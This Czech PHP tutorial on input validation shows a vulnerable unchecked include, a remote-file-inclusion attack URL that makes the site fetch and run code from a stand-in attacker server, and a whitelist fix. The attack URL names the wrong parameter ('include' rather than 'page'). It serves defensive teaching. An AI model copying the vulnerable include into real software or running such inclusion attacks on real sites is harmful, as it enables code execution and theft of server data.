Kontrola vstupních dat
Kontrola vstupních dat je jedna z nejkritičtějších částí aplikace. Většinou se jedná o data přijatá formulářem, ať už metodou GET, POST, či jakoukoliv jinou. Bohužel je této části většinou věnováno jen minimum pozornosti a začínající programátoři tak získají dojem, že je to nepotřebné, a že tuto problematiku mohou vynechat. Výsledkem pak je, že vytvářejí bez obav děravé aplikace, které jdou snadno obelstít už jen vstupem z venku. A to kýmkoliv, kdo jen trochu zná jazyk HTML.
Tento článek je zaměřen více na teorii než praxi, abyste si uvědomili rizika neošetřeného vstupu. Teprve později se dostaneme k tomu, jak vstupy omezovat. I když se stále mluví o tom, že vstupy je potřeba kontrolovat a kontrolovat, přibývá "programátorů", kteří dávají zkušenému crackerovi neomezené možnosti vstupu do svých skriptů. Pamatujte na to, že sebekrásnější, ale děravá aplikace se vám jednoho krásného dne vymstí. Klasickým případem je "volné" použití konstrukce include. Autor chce pevný základ stránky, do které se budou vkládat soubory určené odkazy v menu. Takové odkazy v menu mohou vypadat například takto:
index.php?page=uvod.php
index.php?page=book.php
index.php?page=o_mne.php
Skript index.php v sobě obsahuje kód, který přečte předaný URL parametr page a určenou stránku (například uvod.php) vloží na patřičné místo v dokumentu, například napravo od menu.
<?php
if (isset($_GET['page'])) {
include $_GET['page'];
}
else {
include 'uvod.php';
}
?>
Jediné, co autor kódu kontroluje, je existence parametru. Samozřejmě, protože pokud v URL není a on se s ním pokusí pracovat, PHP ho na to upozorní chybovým hlášením. Na co vás ale PHP neupozorní, je to, že v daném parametru může být cokoliv, a tak náš skript může vykonat i to, co neočekáváme. A tomu je potřeba se vyvarovat.
Nyní se postavíme do role crackera (ne hackera, hacker není člověk, co se někam nabourává, i když to říkají v televizi) a tento kód zneužijeme. Prvně si vytvoříme kód, který budeme chtít do děravé aplikace "propašovat":
<?php show_source('index.php'); ?>
Tento kód však neuložíme s příponou .php, ale například .txt (výsledkem bude, že se kód nevykoná, ale pouze vypíše) a nahrajeme ho na náš (crackovací) server. Dostaneme tedy tento kód na URL:
http://www.crackovaci-server.cz/moc_zly_kod.txt
Nyní se vrátíme na server s naší děravou aplikací a požádáme ho o URL:
http://www.derava-aplikace.cz/index.php?include=http://www.crackovaci-server.cz/moc_zly_kod.txt
Skript v děravé aplikaci do sebe s nejvyšší pravděpodobností vloží kód, který jsme mu podstrčili a poslušně ho vykoná. V našem případě nám vypíše zdrojový kód sebe sama. To může mít pro majitele aplikace katastrofální následky. V lepším případě škodolibý cracker skončí u toho, že soubory na serveru pomocí nového kódu modifikuje, podepíše se do nich, stránky zdevastuje nebo smaže. V horším případě (zpravidla pokud se jedná o velký server), cracker ze skriptů získá login k databázi a je ohroženo soukromí a data všech uživatelů serveru.
Jak se bránit? Vstupy se musí kontrolovat! S vědomostmi, které zatím máme, nám nezbývá nic jiného, než pro každou stránku vytvořit podmínku:
<?php
if (isset($_GET['page'])) {
if ($_GET['page'] == 'uvod.php') {
include 'uvod.php';
}
else if ($_GET['page'] == 'book.php') {
include 'book.php';
}
else if ($_GET['page'] == 'o_mne.php') {
include 'o_mne.php';
}
}
else {
include 'uvod.php';
}
?>
Celkem pracné, brzy se však v naučíte regulární výrazy a pak vám bude stačit danou proměnnou otestovat pouze jednou (a podle toho rozhodnout, zda se daný soubor může includovat).
Jsme však pouze u špičky ledovce. Největší práce je ošetření všech vstupů ve formulářích, které se mohou dostat dále, tj. do databáze a do souborů, kde by mohl podstrčený kód dělat neočekávané věci. Dále nás tedy ještě čekají články o práci s řetězci, regulárních výrazech, atd.